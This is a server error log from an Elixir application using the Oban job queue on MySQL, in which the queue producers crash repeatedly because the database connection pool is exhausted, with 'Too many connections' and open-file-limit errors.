State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:34:21.239735Z], limit: 5, uuid: "d20afeb2-3a78-470b-977f-76cd82bd9b54", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:34:37.937359Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.234266>, refresh_timer: #Reference<0.2525715032.1077411843.202447>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:03.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:34:21.240184Z], limit: 20, uuid: "319e4917-96f8-4eff-9b5c-e90adfb7c5fd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:34:38.693415Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.234263>, refresh_timer: #Reference<0.2525715032.1077411843.202470>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:03.278000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:04.528000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:05.780000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:13.728000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:15.896000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:17.015000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:22.237000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:22.703000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:23.690000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:25.957000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:28.199000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:28.602000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:35:28.932000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:32.278000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:33.603000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:35:38.009000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:35:38.010000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:39.838000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:40.130000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:40.306000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:42.496000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:42.790000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:43.246000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:43.368000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:44.367000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:44.525000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:35:03.246223Z], limit: 50, uuid: "00db31f8-f9a9-4f5d-ad03-e646e29ba0d0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:25.104401Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.79775>, refresh_timer: #Reference<0.2525715032.1121189889.79611>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:35:03.252536Z], limit: 20, uuid: "ee842e44-67ac-466a-8486-070e11ba0f05", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:22.439436Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.79771>, refresh_timer: #Reference<0.2525715032.1121189889.79380>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:46.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:35:03.245092Z], limit: 5, uuid: "79dd3297-e135-4a23-8917-bf1adf4d6edc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:25.405109Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.79773>, refresh_timer: #Reference<0.2525715032.1121189889.79615>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:46.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:35:03.248318Z], limit: 3, uuid: "0016c213-b8e6-43c7-8deb-c82abc6cc315", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:31.521414Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.79776>, refresh_timer: #Reference<0.2525715032.1121189889.79729>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:35:03.246401Z], limit: 10, uuid: "79631dd4-4a01-4159-9c09-f64d9256e129", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:27.471463Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.79772>, refresh_timer: #Reference<0.2525715032.1121189889.79653>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
